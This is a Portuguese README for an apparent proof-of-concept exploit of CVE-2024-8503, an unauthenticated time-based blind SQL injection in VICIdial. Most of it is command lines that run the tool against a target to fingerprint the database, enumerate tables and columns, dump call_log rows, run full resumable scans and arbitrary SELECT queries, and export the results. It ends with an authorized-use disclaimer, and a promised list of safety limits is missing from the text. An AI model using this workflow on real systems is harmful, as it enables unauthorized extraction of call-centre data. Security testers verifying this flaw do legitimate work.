
PoC de injeção SQL cega baseada em tempo não autenticada para VICIdial CVE-2024-8503, com extração de metadados, varreduras retomáveis e limites de segurança rigorosos.
Prova de conceito de injeção SQL cega baseada em tempo sem autenticação para o endpoint VERM_AJAX_functions.php do VICIdial (CVE-2024-8503). O projeto destina-se exclusivamente a testes de segurança autorizados, validação e fins educacionais.
CVE-2024-8503 é uma injeção de SQL sem autenticação no VICIdial em que um valor de nome de usuário Basic Auth especialmente elaborado pode alcançar a lógica de consulta vulnerável em VERM_AJAX_functions.php. Este PoC usa inferência baseada em tempo para confirmar a explorabilidade e extrair metadados limitados e dados de tabelas de forma controlada.
Esta versão impõe limites estritos de prova de conceito:
requestsInstale as dependências:
pip install requests
Execute a autoverificação local para confirmar a configuração sem fazer nenhuma solicitação de rede:
python3 CVE-2024-8503-POC.py --self-check
Execute uma varredura básica não interativa:
python3 CVE-2024-8503-POC.py --url https://target.tld
O modo interativo é um fluxo de trabalho separado para testes conduzidos pelo operador. É útil quando você deseja percorrer as tarefas de extração manualmente em vez de executar um único comando.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
O menu interativo oferece suporte à extração de metadados, descoberta de tabelas e colunas, extração manual, extração automática, consultas personalizadas e varreduras completas retomáveis.
Use estes comandos quando quiser executar uma tarefa específica sem entrar no menu interativo.
Extrair metadados:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
Listar tabelas:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Obter colunas de uma tabela:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Extrair colunas específicas:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Extrair automaticamente dados da tabela:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Varredura completa:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Consulta personalizada (somente SELECT):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Flags opcionais:
--path para alterar o caminho do endpoint (padrão: /VERM/VERM_AJAX_functions.php)--skip-vuln-check para pular a sondagem inicial de confirmação--export para salvar os resultados (JSON para metadados/varredura completa, CSV para dados de tabelas)O progresso é salvo automaticamente em:
.vicidial_scan_state.json
Se uma varredura anterior for detectada, o script oferecerá a opção de retomar ou limpar o estado.
LICENSE correspondente deve ser adicionado na raiz do repositório; este README assume MIT.Esta ferramenta é fornecida somente para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Você deve obter permissão explícita por escrito antes de testar qualquer sistema que não possua. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
Este projeto é licenciado sob a Licença MIT. Consulte o arquivo LICENSE no nível do repositório para obter os detalhes.